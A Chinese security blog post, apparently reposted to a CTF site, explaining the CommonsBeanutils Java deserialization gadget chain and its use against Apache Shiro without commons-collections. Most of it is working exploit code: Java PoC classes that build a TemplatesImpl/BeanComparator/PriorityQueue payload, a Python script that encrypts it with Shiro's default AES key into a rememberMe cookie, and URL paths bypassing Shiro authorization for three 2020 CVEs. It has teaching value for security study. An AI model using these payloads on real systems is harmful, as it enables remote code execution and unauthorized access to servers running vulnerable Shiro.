CommonsBeanutils及shiro中利用

渗透技巧 2年前 (2023) admin
306 0 0

前言

这篇将介绍一下 CommonsBeanutils 链,以及没有 commons-collections 的Shiro反序列化利用

Apache Commons Beanutils

Apache Commons Beanutils 提供了对Java普通类对象(也成为 JavaBean) 的一些操作方法。

至于JavaBean

  • 有一个public的无参数构造函数。

  • 属性可以透过get、set、is(可替代get,用在 布尔型 属性上)方法或遵循特定命名规则的其他方法访问。

  • 可序列化


也就是说属性都可通过 访问器(读) 和 更改器(写) 来进行操作,也就是 getter 和 setter

public class Person {    private String name;    private int age;    public String getName() { return this.name; }    public void setName(String name) { this.name = name; }    public int getAge() { return this.age; }  //读    public void setAge(int age) { this.age = age; }  //更改}

commons-beanutils 提供了一个静态方法,PropertyUtils.getProperty ,可以调用任意 JavaBean 的getter方法。

PropertyUtils.getProperty(new Person(),"name");

就可以调用 Person 对象的 name属性的 getter方法。他还支持递归,获取属性,比如

PropertyUtils.getProperty(obj,"b.a")

就可以获取 b属性(对象)下的a属性。不是真正调用具体的getter方法,可以说是一种抽象的方法,比如

PropertyUtils.getProperty(new Person(),"abc")

并不是说真的去调用 Person 类的 abc 属性的 getter,而是调用getAbc(),不管这个类有没有abc属性。

流程分析

也就是说当调用 PropertyUtils.getProperty(o1, property) 时 如果控制了o1,会自动调用 getter 方法,需要寻找一处符合getter格式的利用点,起到承上启下的作用,在 TemplatesImpl 中的 getOutputProperties() 符合条件,调用 newTransformer() 最后利用点最后调用到defineClass实现动态类加载。

CommonsBeanutils及shiro中利用

向上需要寻找调用 getProperty() 的地方,commons-beanutils 里有一个 BeanComparator 类的 compare方法,以这里为起点,串起了整条链子

CommonsBeanutils及shiro中利用

那么最开始是从哪个readObject才能调用compare方法?在CC2中知道 PriorityQueue 重写了readObject方法,执行了java.util.Comparator 接口的 compare() 方法,至此链子完整

CommonsBeanutils及shiro中利用

构造poc

package CB;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import javassist.ClassPool;import org.apache.commons.beanutils.BeanComparator;
import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Comparator;import java.util.PriorityQueue;
public class CB { public static void main(String[] args) throws Exception { //创建TemplateImpl 对象动态加载字节码 byte[] code = ClassPool.getDefault().get("bytecode.Calc").toBytecode(); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj,"_name","a"); //setFieldValue(obj,"_class",null); //setFieldValue(obj,"_tfactory",new TransformerFactoryImpl()); setFieldValue(obj,"_bytecodes",new byte[][]{code});
//创建BeanComparator Comparator comparator = new BeanComparator("outputProperties");
PriorityQueue priorityQueue = new PriorityQueue(2); //先设置为正常变量值,后面可以通过setFieldValue修改 priorityQueue.add(1); priorityQueue.add(1);
//反射设置 Field Object[] objects = new Object[]{obj,1}; //setFieldValue(comparator,"property","outputProperties"); setFieldValue(priorityQueue, "queue", objects); setFieldValue(priorityQueue, "comparator", comparator);
serialize(priorityQueue); //unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception { FileOutputStream fos = new FileOutputStream("ser.bin"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(obj); oos.close(); } public static Object unserialize(String Filname) throws Exception, ClassNotFoundException { FileInputStream fis = new FileInputStream(Filname); ObjectInputStream ois = new ObjectInputStream(fis); Object obj = ois.readObject(); return obj; } public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{ Field field = obj.getClass().getDeclaredField(fieldname); field.setAccessible(true); field.set(obj,value); }}

在序列化的时候报错,在 BeanComparator

CommonsBeanutils及shiro中利用

跟进,没有找到 ComparableComparator ,这个类来自于 commons.collections ,但是已经进行了删除

CommonsBeanutils及shiro中利用

所以需要找一个可以替换的,需要满足

实现java.util.Comparator 接口实现java.io.Serializable 接口Javashirocommons-beanutils自带,且兼容性强

通过IDEA的快捷键Ctrl+Alt+B搜索接口的实现类。找到了CaseInsensitiveComparator

CommonsBeanutils及shiro中利用

可以通过 CASE_INSENSITIVE_ORDER

 拿到CaseInsensitiveComparator 类

这个CaseInsensitiveComparator 类是java.lang.String 类下的一个内部私有类,其实现了Comparator 和Serializable ,且位于Java的核心代码中,兼容性强,是一个完美替代品。我们通过 String.CASE_INSENSITIVE_ORDER 即可拿到上下文中的CaseInsensitiveComparator 对象,用它来实例化 BeanComparator。

然后用 BeanComparator 第三种构造方法

CommonsBeanutils及shiro中利用

最终poc

package CB;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import javassist.ClassPool;import org.apache.commons.beanutils.BeanComparator;
import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Comparator;import java.util.PriorityQueue;
import static java.lang.String.CASE_INSENSITIVE_ORDER;
public class CB { public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{ Field field = obj.getClass().getDeclaredField(fieldname); field.setAccessible(true); field.set(obj,value); }
public static void main(String[] args) throws Exception { //创建TemplateImpl 对象动态加载字节码 byte[] code = ClassPool.getDefault().get("bytecode.Calc").toBytecode(); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj,"_name","a"); //setFieldValue(obj,"_class",null); //setFieldValue(obj,"_tfactory",new TransformerFactoryImpl()); setFieldValue(obj,"_bytecodes",new byte[][]{code});
//创建BeanComparator Comparator comparator = new BeanComparator(null,CASE_INSENSITIVE_ORDER);
PriorityQueue priorityQueue = new PriorityQueue(2); //先设置为正常变量值,后面可以通过setFieldValue修改 priorityQueue.add(1); priorityQueue.add(1);
//反射设置 Field Object[] objects = new Object[]{obj,1}; setFieldValue(comparator,"property","outputProperties"); setFieldValue(priorityQueue, "queue", objects); setFieldValue(priorityQueue, "comparator", comparator);
//serialize(priorityQueue); unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception { FileOutputStream fos = new FileOutputStream("ser.bin"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(obj); oos.close(); } public static Object unserialize(String Filname) throws Exception, ClassNotFoundException { FileInputStream fis = new FileInputStream(Filname); ObjectInputStream ois = new ObjectInputStream(fis); Object obj = ois.readObject(); return obj; }}

shiro中的利用

在shiro中如果没有CC依赖,可以利用CB链,因为shiro 是依赖于 commons-beanutils 的,去掉pom.xml中的CC依赖,python生成payload

import base64from Crypto.Cipher import AES with open(r"ser.bin","rb") as f:    byte_POC = f.read()    BS = AES.block_size    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()    key = "kPH+bIxk5D2deZiIxcaaaA=="    mode = AES.MODE_CBC    iv = b' ' * 16    encryptor = AES.new(base64.b64decode(key), mode, iv)    file_body = pad(byte_POC)    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))    print("rememberMe={}".format(base64_ciphertext.decode()))

CommonsBeanutils及shiro中利用

shiro 权限绕过

CVE-2020-1957

/xxx/..;/admin

CVE-2020-11989

/;/admin/admin/a%25%32%66a

CVE-2020-13933

/admin/%3baaa

原文始发于微信公众号(Arr3stY0u):CommonsBeanutils及shiro中利用

版权声明:admin 发表于 2023年3月25日 上午10:12。
转载请注明:CommonsBeanutils及shiro中利用 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...